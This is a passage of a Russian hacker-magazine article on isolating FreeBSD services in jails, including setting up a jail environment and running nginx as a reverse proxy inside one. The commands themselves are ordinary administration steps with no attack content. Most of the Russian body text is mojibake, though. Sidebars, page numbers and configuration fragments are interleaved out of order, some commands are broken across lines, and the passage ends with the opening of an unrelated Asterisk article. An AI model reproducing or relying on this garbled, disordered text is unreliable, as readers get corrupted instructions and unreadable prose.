«îñîáî îïàñíûõ» èçîëÿòîð óæå íå ïîäõîäèò, —<br />
íóæíà íàñòîÿùàÿ òþðüìà!<br />
ЗА РЕШЕТКОЙ Тåõíîëîãèÿ jail áàçèðóåòñÿ íà<br />
ñèñòåìíîì âûçîâå chroot, íî îòëè÷àåòñÿ òåì,<br />
÷òî ñóùåñòâåííî îãðàíè÷èâàåò ñóïåðïîëüçîâàòåëÿ<br />
â ïðàâàõ. Íàõîäÿñü «çà ðåøåòêîé», root íå<br />
èìååò ïðàâ:<br />
1. Çàãðóæàòü ìîäóëè ÿäðà è êàêèì-ëèáî îáðàçîì<br />
ìîäèôèöèðîâàòü ÿäðî (íàïðèìåð, ÷åðåç /dev/<br />
kmem).<br />
2. Èçìåíÿòü ïåðåìåííûå ÿäðà (çà èñêëþ÷åíèåì<br />
kern.securelevel è kern.hostname).<br />
3. Ñîçäàâàòü ôàéëû óñòðîéñòâ.<br />
4. Ìîíòèðîâàòü è äåìîíòèðîâàòü ôàéëîâûå ñèñòåìû.<br />
5. Èçìåíÿòü ñåòåâûå êîíôèãóðàöèè.<br />
6. Ñîçäàâàòü raw ñîêåòû (ïîâåäåíèå íàñòðàèâàåòñÿ).<br />
7. Ïîëó÷àòü äîñòóï ê ñåòåâûì ðåñóðñàì, íå àññîöèèðîâàííûì<br />
ñ IP-àäðåñîì jail’à.<br />
8. Ðàáîòàòü ñ System V IPC (ïîâåäåíèå íàñòðàèâàåòñÿ).<br />
9. Ïðèñîåäèíÿòüñÿ ê ïðîöåññó è èñïîëüçîâàòü<br />
ptrace(2).<br />
 jail ñóïåðïîëüçîâàòåëü ïðåâðàùàåòñÿ â êàïðèçíîãî<br />
ðåáåíêà, êîòîðûé, õîòü è íå ìîæåò<br />
íàâðåäèòü êîðíåâîé ñèñòåìå, áåç îñîáûõ ïðîáëåì<br />
ââåäåò ÎÑ â ñòóïîð ïîëíîé íàãðóçêîé íà<br />
ïðîöåññîð èëè ñîæðåò âñþ äîñòóïíóþ ïàìÿòü.<br />
Ê ñîæàëåíèþ, ïðîòèâ ïîäîáíîãî âàíäàëèçìà çàùèòû<br />
ïîêà íåò. Êàê íåò è ïðîòèâ òåõ, êòî çàõî÷åò<br />
èñïîëüçîâàòü èçîëèðîâàííûé ñåðâèñ â êîðûñòíûõ<br />
öåëÿõ, áóäü òî ðàññûëêà ñïàìà èëè õðàíèëèùå<br />
âàðåçà. Òþðüìà îòëè÷íî ðåøàåò ïðîáëåìó<br />
ïðîíèêíîâåíèÿ â îñíîâíóþ ñèñòåìó, íî ñàìà ïî<br />
ñåáå àáñîëþòíî áåççàùèòíà.<br />
Ïåðåä òåì, êàê ïîìåñòèòü âûáðàííûé ñåðâèñ â<br />
jail, ìû äîëæíû ñîçäàòü äëÿ íåãî âñå íåîáõîäèìûå<br />
óñëîâèÿ, ýäàêóþ øâåéöàðñêóþ òþðüìó,<br />
ãäå êîìôîðòíî, êàê äîìà. Äëÿ ýòîãî âíóòðü âûáðàííîãî<br />
êàòàëîãà íåîáõîäèìî ïîìåñòèòü ìèíèìàëüíóþ<br />
êîïèþ êîðíåâîé ñèñòåìû, — ÷òîáû<br />
ñåðâèñ ñìîã íàéòè íåîáõîäèìûå åìó êàòàëîãè,<br />
áèáëèîòåêè è êîíôèãóðàöèîííûå ôàéëû (îêðóæåíèå<br />
èñïîëíåíèÿ). Ñàìûé ïðîñòîé ïóòü —<br />
ïðîñòî ñêîïèðîâàòü âñå íåîáõîäèìîå èç ñóùåñòâóþùåé<br />
ñèñòåìû, íî îí ÷ðåâàò îøèáêàìè, è åñòü<br />
ðèñê ïîëó÷èòü «ãðÿçíîå» îêðóæåíèå, êîòîðîå<br />
îòðàçèò íåêîòîðûå àñïåêòû ðåàëüíîé ñèñòåìû<br />
è ïîìîæåò âçëîìùèêó. Ïîýòîìó ëó÷øå ñîáðàòü<br />
«÷èñòîå» îêðóæåíèå èç èñõîäíûõ òåêñòîâ è óñòàíîâèòü<br />
â âûáðàííûé êàòàëîã. Òàê ñåðâèñ ïîëó-<br />
÷èò ñðåäó â äåôîëòîâîé êîíôèãóðàöèè, íè÷åãî<br />
íå ãîâîðÿùåé î ñîñòîÿíèè ðåàëüíîé ñèñòåìû.<br />
110<br />
XÀÊÅÐ 04 /124/ 09
SYN/ACK<br />
FreeBSD<br />
Jail<br />
ШАГ 1. СОЗДАНИЕ JAIL-ОКРУЖЕНИЯ<br />
Ïåðåõîäèì â êàòàëîã /usr/src è âûïîëíÿåì ñëåäóþùóþ<br />
ïîñëåäîâàòåëüíîñòü êîìàíä:<br />
# JAIL=/usr/jail/base<br />
# mkdir -p $JAIL<br />
# make world DESTDIR=$JAIL<br />
# make distribution DESTDIR=$JAIL<br />
# mount -t devfs devfs $JAIL/dev<br />
Ïîñëå èõ èñïîëíåíèÿ êàòàëîã /usr/jail/base<br />
áóäåò ñîäåðæàòü ÷èñòîå áàçîâîå îêðóæåíèå<br />
FreeBSD, âêëþ÷àÿ âèðòóàëüíóþ ôàéëîâóþ ñèñòåìó<br />
/dev.<br />
ШАГ 2. НАСТРОЙКА КОРНЕВОЙ СИСТЕМЫ<br />
Èäåì äàëüøå. Jail-îêðóæåíèÿ âî FreeBSD ðåàëèçîâàíû<br />
÷åðåç ïðèâÿçêó ê IP-ïñåâäîíèìàì<br />
ñåòåâûõ èíòåðôåéñîâ, ïîýòîìó, âî-ïåðâûõ, ìû<br />
äîëæíû íàçíà÷èòü àëèàñ èíòåðôåéñó, ñìîòðÿùåìó<br />
«íàðóæó», à âî-âòîðûõ, ñäåëàòü òàê, ÷òîáû<br />
ñåðâèñû êîðíåâîé ñèñòåìû ñëóøàëè ïîðòû<br />
òîëüêî íà ñâîåì IP è «ïðîïóñêàëè ìèìî óøåé»<br />
òðàôèê, ïðåäíàçíà÷åííûé ñåðâèñó â jail.<br />
IP-ïñåâäîíèìû äëÿ ñåòåâûõ èíòåðôåéñîâ íàçíà-<br />
÷àþòñÿ ñ ïîìîùüþ êîìàíäû:<br />
# ifconfig ed0 inet alias<br />
192.168.0.1/16<br />
×òîáû êîìàíäà èñïîëíÿëàñü âî âðåìÿ çàãðóçêè,<br />
äîáàâëÿåì åå â /etc/rc.conf:<br />
# echo "ifconfig_ed0_alias0=\"inet<br />
192.168.0.1\"" >> /etc/rc.conf<br />
Íè÷åãî ñòðàøíîãî, åñëè â òâîåì ðàñïîðÿæåíèè<br />
íåò âòîðîãî ãëîáàëüíî ìàðøðóòèçèðóåìîãî<br />
IP-àäðåñà, — ïîäîéäåò ëþáîé àäðåñ èç ÷àñòíîãî<br />
äèàïàçîíà (10.0.0.0/8, 172.16.0.0/12,<br />
192.168.0.0/16), òðàôèê íà êîòîðûé ìû çàâåðíåì<br />
ñ ïîìîùüþ áðàíäìàóýðà.<br />
Òåïåðü î íàñòðîéêå ñåðâèñîâ êîðíåâîé ñèñòåìû.<br />
Åñëè òû âñå-òàêè ðåøèë ïðèâÿçàòü jail êî âòîðîìó<br />
âíåøíåìó IP-àäðåñó, ñîçäàâ êàê áû èëëþçèþ<br />
âòîðîãî ñåðâåðà â ñåòè, òåáå ïðèäåòñÿ íàñòðîèòü<br />
âñå ñåðâèñû êîðíåâîé ñèñòåìû íà ïðîñëóøèâàíèå<br />
òîëüêî ïåðâîãî IP-àäðåñà. Èíà÷å ìîæíî<br />
ïîéìàòü êîíôëèêòû ìåæäó ïðèëîæåíèÿìè,<br />
ñëóøàþùèìè îäèí ïîðò (íàïðèìåð, ssh âíóòðè<br />
òþðüìû è â êîðíåâîé ñèñòåìå). Â áîëüøèíñòâå<br />
XÀÊÅÐ 04 /124/ 09<br />
111
SYN/ACK<br />
info<br />
• Чтобы научить ipfw<br />
делать fwd, придется<br />
пересобрать ядро<br />
с опцией<br />
IPFIREWALL_<br />
FORWARD.<br />
Переменные, влияющие на jail-окружения<br />
• В следующем номере<br />
мы рассмотрим,<br />
как на основе jail поднять<br />
сервис по сдаче<br />
в аренду виртуальных<br />
FreeBSD-машин.<br />
Не пропусти!<br />
ñëó÷àåâ ñäåëàòü ýòî ìîæíî ÷åðåç ðåäàêòèðîâàíèå êîíôèãóðàöèîííîãî<br />
ôàéëà èëè ïóòåì óêàçàíèÿ ñïåöèàëüíûõ ôëàãîâ:<br />
# echo "inetd_flags=\"-wW -a \"">> /etc/rc.conf<br />
Ê íåñ÷àñòüþ, íåêîòîðûå ñåðâèñû (rpcbind, nfsd, mountd) íå<br />
ïîçâîëÿþò óêàçàòü ïðîñëóøèâàåìûé èìè IP-àäðåñ, ïîýòîìó<br />
ïîñòàðàéñÿ íå çàïóñêàòü èõ â áàçîâîé ñèñòåìå è jail-îêðóæåíèè<br />
îäíîâðåìåííî. Ñ ëîêàëüíûì IP-àäðåñîì ýòîãî äåëàòü íå<br />
ïðèäåòñÿ, òàê êàê jail-ñåðâèñû èçâíå äîñòóïíû íå áóäóò. Çàòî<br />
ïðèäåòñÿ ïîçàáîòèòüñÿ îá îðãàíèçàöèè ôîðâàðäèíãà ñ ïîìîùüþ<br />
áðàíäìàóýðà (ïðèìåð äëÿ ssh):<br />
# ipfw add fwd 192.168.0.1,22 tcp from any to<br />
âíåøíèé-ip 22<br />
ШАГ 3. НАСТРОЙКА JAIL-ОКРУЖЕНИЯ<br />
Ðàáîòàþùåå jail-îêðóæåíèå ïðåäñòàâëÿåò ñîáîé ïî÷òè òî÷íóþ<br />
êîïèþ íàñòîÿùåé FreeBSD è äàæå çàãðóæàåòñÿ ÷åðåç<br />
çàïóñê ñòàðòîâîãî ñêðèïòà /etc/rc. Â òî æå âðåìÿ âíóòðè jail<br />
äåéñòâóþò ñâîè îãðàíè÷åíèÿ è îñîáûå ïðàâèëà, êîòîðûå íåîáõîäèìî<br />
ó÷èòûâàòü. Ïîýòîìó âõîäèì â òþðüìó:<br />
sendmail_enable="NO"<br />
sendmail_submit_enable="NO"<br />
sendmail_outbound_enable="NO"<br />
sendmail_msp_queue_enable="NO"<br />
sshd_enable="YES"<br />
Ïîñëå òîãî, êàê âñå áóäåò ñäåëàíî, âûõîäèì èç îêðóæåíèÿ,<br />
íàáðàâ exit èëè íàæàâ .<br />
 ñëó÷àå èñïîëüçîâàíèÿ ëîêàëüíîãî IP-àäðåñà äëÿ òþðüìû,<br />
åãî ñåòåâîå èìÿ ìîæåò áûòü ëþáûì. Íî åñëè jail ïðèâÿçàí ê<br />
âíåøíåìó IP, ïîòðåáóåòñÿ, êîíå÷íî æå, âûáðàòü íàñòîÿùåå<br />
äîìåííîå èìÿ, ïðîïèñàííîå â DNS-çîíàõ.<br />
Ïðèìåð èëëþñòðèðóåò çàïóñê ssh-ñåðâåðà âíóòðè jail-îêðóæåíèÿ,<br />
íî ÷òî, åñëè íóæíîãî ñåðâèñà íåò â áàçîâîì äèñòðèáóòèâå?<br />
Ïðîùå âñåãî — óêàçàòü ïóòü óñòàíîâêè ÷åðåç ïåðåìåííóþ<br />
PREFIX âî âðåìÿ óñòàíîâêè ïîðòà:<br />
# make PREFIX=/usr/jail/base make install clean<br />
Äëÿ ïàêåòîâ:<br />
# pkg_add -P /usr/jail/base ïàêåò-1.0.0.tbz<br />
Äëÿ ïîëüçîâàòåëåé portinstall:<br />
112<br />
# jail /usr/jail/base base.jail 192.168.0.1 /<br />
bin/sh<br />
È âûïîëíÿåì ïîñëåäîâàòåëüíîñòü äåéñòâèé:<br />
1. Ñîçäàåì ïóñòîé ôàéë fstab (touch /etc/fstab), ÷òîáû ñêðèïòû<br />
èíèöèàëèçàöèè íå ðóãàëèñü íà åãî îòñóòñòâèå.<br />
2. Óñòàíàâëèâàåì ïàðîëü äëÿ ñóïåðïîëüçîâàòåëÿ (passwd<br />
root) è ñîçäàåì, ïî íåîáõîäèìñòè, äîïîëíèòåëüíûõ ïîëüçîâàòåëåé.<br />
3. Ïåðåñòðàèâàåì áàçó ïî÷òîâûõ ïñåâäîíèìîâ (newaliases),<br />
åñëè õîòèì èñïîëüçîâàòü sendmail.<br />
4. Íàñòðàèâàåì âðåìåííóþ çîíó (tzsetup).<br />
5. Ðåäàêòèðóåì /etc/resolv.conf òàêèì îáðàçîì, ÷òîáû ñåðâèñû,<br />
çàïóùåííûå âíóòðè jail’à, ìîãëè âûïîëíÿòü DNS-ðåçîëâèíã.<br />
Ìîæíî óêàçàòü àäðåñ õîñò-ñèñòåìû, åñëè â íåé çàïóùåí<br />
êýøèðóþùèé DNS-ñåðâåð.<br />
6. Äîáàâëÿåì â /etc/rc.conf ñëåäóþùèå ñòðîêè:<br />
# vi /etc/rc.conf<br />
// Ñåòåâîå èìÿ jail-îêðóæåíèÿ<br />
hostname="base.jail"<br />
// Îòêëþ÷àåì êîíôèãóðèðîâàíèå ñåòåâûõ èíòåðôåéñîâ<br />
(îíè âèðòóàëüíûå)<br />
network_interfaces=""<br />
// Âêëþ÷àåì/îòêëþ÷àåì íåîáõîäèìûå ñåðâèñû<br />
# PREFIX=/usr/jail/base portinstall -P ïàêåò<br />
Ê ñîæàëåíèþ, â íåêîòîðûõ ñëó÷àÿõ ïðÿìîå óêàçàíèå ïóòè<br />
óñòàíîâêè íå ïîäõîäèò. Íàïðèìåð, òû ìîæåøü ïîäíÿòü ìíîæåñòâî<br />
jail-ñåðâåðîâ íà áûñòðîé ìàøèíå è ïðåäëàãàòü ëþäÿì<br />
óñëóãè ïî ïðåäîñòàâëåíèþ â àðåíäó âûäåëåííîãî ñåðâåðà<br />
FreeBSD, ñ êîòîðûì îíè ñìîãóò äåëàòü âñå, ÷òî çàõîòÿò. È åñëè<br />
òû íå ïîçâîëèøü êëèåíòàì ñàìîñòîÿòåëüíî óñòàíàâëèâàòü<br />
ñòîðîííåå ÏÎ ÷åðåç ïîðòû, èõ ïîòîê âñêîðå èññÿêíåò. Ïðîñòîé<br />
ñïîñîá èçáåæàòü ýòîãî — ñêîïèðîâàòü ïîðòû èç áàçîâîé<br />
ñèñòåìû â êàæäîå èç jail-îêðóæåíèé. Íî ýòî î÷åíü ãðóáûé<br />
ïîäõîä, ðàñõîäóþùèé äèñêîâîå ïðîñòðàíñòâî è îòíèìàþùèé<br />
âðåìÿ íà ñèíõðîíèçàöèþ ñ íîâûì äåðåâîì ïîðòîâ. Ãîðàçäî<br />
ïðîùå è ðàçóìíåå ïðèìåíèòü âèðòóàëüíûå ôàéëîâûå<br />
ñèñòåìû âðîäå unionfs è nullfs äëÿ ìîíòèðîâàíèÿ êàòàëîãà /<br />
usr/ports êî âñåì òþðüìàì:<br />
èëè<br />
# mount_unionfs /usr/ports /usr/jail/base/usr/ports<br />
# mount_nullfs /usr/ports /usr/jail/base/usr/ports<br />
ШАГ 4. ЗАПУСК JAIL-ОКРУЖЕНИЯ<br />
Âñå ïîäãîòîâèòåëüíûå ðàáîòû âûïîëíåíû, îñòàëîñü òîëüêî<br />
XÀÊÅÐ 04 /124/ 09
SYN/ACK<br />
Man jail: отличное руководство по управлению jailокружениями<br />
Сервисы, помещенные в jail, могут общаться с корневой<br />
системой через loopback-интерфейс<br />
çàïóñòèòü ãîòîâûé âèðòóàëüíûé jail-ñåðâåð. Äëÿ ýòîãî äîáàâëÿåì â /etc/<br />
rc.conf ñëåäóþùèå ñòðîêè:<br />
# vi /etc/rc.conf<br />
jail_enable="YES"<br />
// Ñïèñîê jail-îêðóæåíèé<br />
jail_list="base»"<br />
// Ñòàíäàðòíûå îïöèè jail<br />
jail_base_rootdir="/usr/jail/base"<br />
jail_base_hostname="base.jail"<br />
jail_base_ip="192.168.0.1"<br />
jail_base_interface="de0"<br />
// Êîìàíäû çàïóñêà è îñòàíîâêè<br />
jail_base_exec_start="/bin/sh /etc/rc"<br />
jail_base_exec_stop="/bin/sh /etc/rc.shutdown"<br />
// Êàêèå ÔÑ ìîíòèðîâàòü?<br />
jail_base_devfs_enable="YES"<br />
jail_base_fdescfs_enable="NO"<br />
jail_base_procfs_enable="NO"<br />
è çàïóñêàåì:<br />
# /etc/rc.d/jail start base<br />
Ñïèñîê çàïóùåííûõ jail-îêðóæåíèé âñåãäà äîñòóïåí ïî êîìàíäå /usr/<br />
sbin/jls. Ïðîöåññû, çàêëþ÷åííûå â òþðüìó, îòîáðàæàþòñÿ â âûâîäàõ ps è<br />
top. Èõ îòëè÷èòåëüíàÿ ÷åðòà — ôëàã ‘J’.<br />
КАК ЭТО ДЕЛАЮТ ДЖЕДАИ<br />
Âûøå áûë îïèñàí «îôèöèàëüíûé» ñïîñîá ñîçäàíèÿ jail-îêðóæåíèé, ïîäõîäÿùèé<br />
ïî÷òè äëÿ âñåõ ñëó÷àåâ. Åãî äîñòîèíñòâà â óíèâåðñàëüíîñòè è<br />
îòíîñèòåëüíîé ïðîñòîòå ðàçâåðòûâàíèÿ âèðòóàëüíîãî ñåðâåðà. Ñ äðóãîé<br />
ñòîðîíû, äëÿ åäèíè÷íîãî ñåðâèñà, ïîìåùåííîãî â òþðüìó, ïîëíîå<br />
îêðóæåíèå èñïîëíåíèÿ — ÿâíîå èçëèøåñòâî, ñúåäàþùåå ñâîáîäíîå<br />
ïðîñòðàíñòâî è íåñóùåå óãðîçó áåçîïàñíîñòè. Âçëîìùèê, ïðîíèêøèé<br />
â òþðüìó, ïîëó÷èò â ðàñïîðÿæåíèå öåëüíóþ îïåðàöèîííóþ ñèñòåìó ñ<br />
êîìàíäíûì èíòåðïðåòàòîðîì, êîìïèëÿòîðîì, ssh-ñåðâåðîì è ìàññîé<br />
äðóãèõ ïîäñîáíûõ óòèëèò. Ñòîèò ëè ãîâîðèòü, ÷åì ãðîçèò òàêàÿ ñâîáîäà<br />
âûáîðà?<br />
Ãëàâíîå ïðàâèëî, êîòîðûì ñëåäóåò ðóêîâîäñòâîâàòüñÿ ïðè ñîçäàíèè<br />
ðàçíîãî ðîäà ïåñî÷íèö, òþðåì è âèðòóàëüíûõ ñåðâåðîâ — «÷åì ïðîùå,<br />
òåì ëó÷øå». Ïî âîçìîæíîñòè èç îêðóæåíèÿ ñëåäóåò óáðàòü âñå,<br />
÷òî íå âëèÿåò íà ðàáîòó ñåðâèñà, âêëþ÷àÿ áèáëèîòåêè, êîíôèãóðàöèîííûå<br />
ôàéëû è, â îñîáåííîñòè, ðàçëè÷íûå ïîäñîáíûå óòèëèòû è<br />
êîíñîëüíûå êîìàíäû âðîäå ls, cd è sh. Îòäåëüíîìó ñåðâèñó íå íóæíà<br />
XÀÊÅÐ 04 /124/ 09<br />
øâåéöàðñêàÿ òþðüìà ñ óäîáñòâàìè, åìó áîëüøå ïîäîéäåò ðóññêàÿ<br />
çîíà. Äëÿ èëëþñòðàöèè òîãî, êàê âñå ýòî ïðîäåëàòü â ðåàëüíûõ óñëîâèÿõ,<br />
ðàññìîòðèì ïðîöåññ ïîìåùåíèÿ nginx, ðàáîòàþùåãî â ðåæèìå<br />
reverse-proxy, âíóòðü jail. Ïðåäñòàâèì, ÷òî ó íàñ åñòü apache, ðàáîòàþùèé<br />
â êîðíåâîé ñèñòåìå è ñëóøàþùèé ïîðò 8080. Çàäà÷à: ïîìåñòèòü<br />
ïåðåä íèì nginx, ñëóøàþùèé 80-é ïîðò è ïåðåíàïðàâëÿþùèé çàïðîñû<br />
ê apache. ×òîáû îáåçîïàñèòü apache, ìû ðåøàåì ïîìåñòèòü nginx â<br />
jail. Êàê ýòî ñäåëàòü? Äëÿ íà÷àëà ñîçäàäèì äëÿ íàøåé òþðüìû êàòàëîã<br />
è óñòàíîâèì òóäà nginx (çäåñü è äàëåå ïðèâåäåíû êîìàíäû äëÿ bash):<br />
# JAIL=/usr/jail/nginx<br />
# mkdir -p $JAIL<br />
# cd /usr/ports/www/nginx<br />
# make PREFIX=$JAIL install clean<br />
Âûÿñíèì, êàêèå áèáëèîòåêè íóæíû nginx äëÿ ðàáîòû:<br />
# ldd $JAIL/sbin/nginx<br />
È ñêîïèðóåì èõ â êàòàëîã /usr/jail/nginx/lib:<br />
# mkdir -p $JAIL/lib<br />
# LIBS='ldd $JAIL/sbin/nginx|grep -v ':$'|cut -f 3 -d " "'<br />
# for LIB in $LIBS; do cp $LIB $JAIL/lib; done<br />
Êðîìå òîãî, íåîáõîäèìî ñêîïèðîâàòü è íàñòðîèòü ëèíêîâùèê ld-elf.so.1,<br />
áåç íåãî íå çàïóñòèòñÿ íè îäèí èñïîëíÿåìûé ôàéë:<br />
# mkdir -p $JAIL/libexec<br />
# cp /libexec/ld-elf.so.1 $JAIL/libexec<br />
# mkdir -p $JAIL/var/run<br />
# ldconfig -s -f $JAIL/var/run/ld-elf.so.hints $JAIL/lib<br />
Çàâåäåì ïîëüçîâàòåëÿ è ãðóïïó www:<br />
# echo 'www:*:80:80::0:0:World Wide Web Owner:/<br />
nonexistent:/usr/sbin/nologin' > $JAIL/etc/passwd<br />
# cp $JAIL/etc/{passwd,master.passwd}<br />
# pwd_mkdb -d $JAIL/etc $JAIL/etc/master.passwd<br />
# echo 'www:*:80:' > $JAIL/etc/group<br />
Ñîçäàäèì êàòàëîãè, íåîáõîäèìûå äëÿ íîðìàëüíîé ðàáîòû ñåðâèñà:<br />
# mkdir -p $JAIL/var/{log,tmp/nginx}<br />
# chown 80:80 $JAIL/var/tmp/nginx<br />
113
ХАКЕР.PRO<br />
SYN/ACK<br />
Ïàðà ñëîâ îá nginx<br />
Nginx (engine x) — âûñîêîïðîèçâîäèòåëüíûé è íåòðåáîâàòåëüíûé<br />
ê ðåñóðñàì HTTP-ñåðâåð è ïî÷òîâûé ïðîêñè. Îáû÷íî èñïîëüçóåòñÿ<br />
â êà÷åñòâå HTTP-àêñåëåðàòîðà, ïåðåäàþùåãî âñå çàïðîñû<br />
ê apache, èëè ëåãêîâåñíîãî ñåðâåðà äëÿ îòäà÷è ñòàòè÷åñêîãî<br />
êîíòåíòà. Ïðèìåíÿåòñÿ íà wordpress.com è áîëüøèíñòâå ñåðâåðîâ<br />
Ðàìáëåðà. Ðàçðàáàòûâàåòñÿ Èãîðåì Ñûñîåâûì ñ 2002-ãî ãîäà.<br />
# mkdir $JAIL/{dev,tmp}<br />
# chmod 7777 $JAIL/tmp<br />
Ñìîíòèðóåì ôàéëîâóþ ñèñòåìó devfs:<br />
# mount -t devfs devfs $JAIL/dev<br />
Ñîçäàäèì IP-ïñåâäîíèì è íàñòðîèì áðàíäìàóýð íà ðåäèðåêò HTTP-òðàôèêà<br />
íà IP-àäðåñ òþðüìû:<br />
# ifconfig ed0 inet alias 192.168.0.1/16<br />
# ipfw add fwd 192.168.0.1,80 tcp from any to âíåøíèé-ip 80<br />
Îòêðîåì êîíôèãóðàöèîííûé ôàéë nginx è ïðèâåäåì ñåêöèþ server ê ñëåäóþùåìó<br />
âèäó:<br />
# vi /usr/jail/nginx/etc/nginx/nginx.conf<br />
server {<br />
listen 80;<br />
server_name www.host.ru;<br />
location / {<br />
proxy_pass http://127.0.0.1:8080/;<br />
proxy_redirect off;<br />
proxy_set_header Host $host;<br />
proxy_set_header X-Real-IP $remote_addr;<br />
proxy_set_header X-Forwarded-For $proxy_add_x_<br />
forwarded_for;<br />
client_max_body_size 10m;<br />
client_body_buffer_size 128k;<br />
Ïåðåìåííûå sysctl,<br />
î êîòîðûõ íóæíî<br />
çíàòü<br />
1 security.jail.set_hostname_allowed — ìîæåò ëè jail-ñóïåðïîëüçîâàòåëü<br />
èçìåíÿòü ñåòåâîå èìÿ (hostname) jail-ñåðâåðà. Èìååò<br />
ñìûñë îòêëþ÷èòü, åñëè äëÿ òþðüìû âûäåëåíî íàñòîÿùåå ñåòåâîå<br />
èìÿ, ïðîïèñàííîå â DNS-çîíàõ. 2 security.jail.allow_raw_sockets —<br />
ðàçðåøèòü jail-ñóïåðïîëüçîâàòåëþ ñîçäàâàòü raw-ñîêåòû. Â öåëÿõ<br />
áåçîïàñíîñòè îïöèÿ îòêëþ÷åíà, íî îíà ìåøàåò ïðàâèëüíîé ðàáîòå<br />
íåêîòîðûõ èíñòðóìåíòîâ, ïðåäíàçíà÷åííûõ äëÿ îòëàäêè ñåòè.<br />
3 security.jail.chflags_allowed — ïîçâîëèòü jail-ïðîöåññàì ìîäèôèöèðîâàòü<br />
ôëàãè ÔÑ (chflags). Ïî óìîë÷àíèþ âûêëþ÷åíà, ÷òî<br />
îòêðûâàåò èíòåðåñíûå âîçìîæíîñòè äëÿ ïîìåùåíèÿ â jail íåóäàëÿåìûõ,<br />
íå÷èòàåìûõ èëè íåçàïèñûâàåìûõ ôàéëîâ.<br />
×òîáû nginx ñòàðòîâàë ïðè çàãðóçêå, äîáàâèì â /etc/rc.conf ñëåäóþùå<br />
çàïèñè:<br />
# vi /etc/rc.conf<br />
ifconfig_ed0_alias0="inet 192.168.0.1"<br />
jail_enable="YES"<br />
jail_list="nginx"<br />
jail_nginx_rootdir="/usr/jail/nginx"<br />
jail_nginx_hostname="nginx.jail"<br />
jail_nginx_ip="192.168.0.1"<br />
// Ïîëíàÿ èíèöèàëèçàöèÿ îêðóæåíèÿ íå íóæíà, äîñòàòî÷íî<br />
ñðàçó çàïóñòèòü ñåðâèñ<br />
jail_nginx_exec_start="/sbin/nginx -c /etc/nginx/nginx.<br />
conf"<br />
// Îñòàíàâëèâàòü nginx âðó÷íóþ òàêæå íå òðåáóåòñÿ, ïåðåä<br />
çàâåðøåíèåì ðàáîòû jail àêêóðàòíî óáüåò âñå ñâîè ïðîöåññû<br />
ñ ïîìîùüþ kill<br />
jail_nginx_exec_stop=""<br />
// Íàì ïîíàäîáèòñÿ òîëüêî devfs<br />
jail_nginx_devfs_enable="YES"<br />
jail_nginx_fdescfs_enable="NO"<br />
jail_nginx_procfs_enable="NO"<br />
}<br />
}<br />
114<br />
proxy_connect_timeout 90;<br />
proxy_send_timeout 90;<br />
proxy_read_timeout 90;<br />
proxy_buffer_size 4k;<br />
proxy_buffers 4 32k;<br />
proxy_busy_buffers_size 64k;<br />
proxy_temp_file_write_size 64k;<br />
Ó÷òè, ÷òî õèòðàÿ ñèñòåìà ïîðòîâ èçìåíèëà äåôîëòîâûå ïóòè ïîèñêà ôàéëîâ â<br />
nginx, äîáàâèâ ê íèì ïðåôèêñ /usr/jail/nginx. Ïîýòîìó âñå îòíîñèòåëüíûå ïóòè<br />
â ôàéëå êîíôèãóðàöèè ïðèäåòñÿ çàìåíèòü íà àáñîëþòíûå, òî åñòü — ïðîïèñàòü<br />
âìåñòî «include mime.types;» ñòðîêó «include /etc/nginx/mime.types;». Âñå,<br />
òåïåðü âèðòóàëüíûé ñåðâåð ñ nginx ìîæíî çàïóñòèòü (îïöèÿ ‘-c’ ïîçâîëÿåò ïåðåïèñàòü<br />
íåâåðíûé äåôîëòîâûé ïóòü ïîèñêà êîíôèãóðàöèîííîãî ôàéëà):<br />
# jail /usr/jail/nginx nginx.jail 192.168.0.1 /sbin/nginx<br />
-c /etc/nginx/nginx.conf<br />
Ïî îïèñàííîé ñõåìå â òþðüìó ìîæíî ïîñàäèòü ïðàêòè÷åñêè ëþáîé ñåðâèñ,<br />
íå îòÿãîùåííûé ìíîæåñòâîì çàâèñèìîñòåé.  íåêîòîðûõ ñëó÷àÿõ<br />
ïðèäåòñÿ ïîâîçèòüñÿ ñ ñîçäàíèåì ôàéëîâ è êàòàëîãîâ, à òàêæå ñ îòñëåæèâàíèåì<br />
íåîáõîäèìûõ áèáëèîòåê (íåêîòîðûå ñåòåâûå ñåðâåðû, íàïðèìåð<br />
sshd, çàãðóæàþò áèáëèîòåêè âî âðåìÿ èñïîëíåíèÿ, òàê ÷òî ldd ïîêàæåò íå<br />
âñå, è ïðèäåòñÿ âîñïîëüçîâàòüñÿ lsof). Ïðîáëåìó òàêæå ïðåäñòàâëÿåò /dev.<br />
Âåñüìà îïðîìåò÷èâî îòêðûâàòü âñå ôàéëû ýòîãî êàòàëîãà íà ÷òåíèå, à óæ<br />
òåì áîëåå, íà çàïèñü, — ïîýòîìó äëÿ ðåãóëèðîâàíèÿ ïðàâ äîñòóïà íåîáõîäèìî<br />
èñïîëüçîâàòü ñïåöèàëüíûå íàñòðîéêè devfs. Ôàéë /etc/defaults/<br />
devfs.rules ñîäåðæèò áàçîâûå ïðàâèëà devfs äëÿ jail. Ïî óìîë÷àíèþ îí îòêðûâàåò<br />
äîñòóï ê ïîäñîáíûì ñèíòåòè÷åñêèì ôàéëàì, òàêèì êàê /dev/<br />
null è /dev/random, à òàêæå ïñåâäîòåðìèíàëàì. Äëÿ áîëüøèíñòâà êîíôèãóðàöèé<br />
íàñòðîéêè äàæå íå ïðèäåòñÿ ðåäàêòèðîâàòü, äîñòàòî÷íî ñêîïèðîâàòü<br />
ôàéë â êàòàëîã /etc è äîáàâèòü â /etc/rc.conf ñëåäóþùóþ çàïèñü:<br />
jail_èìÿ_devfs_ruleset="devfsrules_jail"<br />
Åñëè æå ïîíàäîáÿòñÿ äîïîëíèòåëüíûå ôàéëû óñòðîéñòâ, òî devfs.rules<br />
ëåãêî îòðåäàêòèðîâàòü, äîáàâèâ íåîáõîäèìûå ïðàâèëà. Ñèíòàêñèñ ôàéëà<br />
è ïðàâèë îïèñàíû íà man-ñòðàíèöàõ devfs(8) è devfs.rules(5). z<br />
XÀÊÅÐ 04 /124/ 09
SYN/ACK<br />
SERGEY JAREMCHUK<br />
FEAT ANDREY MATVEEV<br />
Звездное<br />
попурри<br />
Фокусничаем с IP-PBX Asterisk<br />
Сервер телефонии Asterisk обладает поистине колоссальными возможностями<br />
обеспечения переговоров по IP-сетям, заменяя обычную<br />
офисную АТС при большей функциональности и меньшей цене. Но<br />
Asterisk — это еще и необычайно гибкая система, предоставляющая<br />
широкое поле для творчества. Немного фантазии, и можно реализовать<br />
практически любую функцию, не предусмотренную разработчиками.<br />
>> SYN/ACK<br />
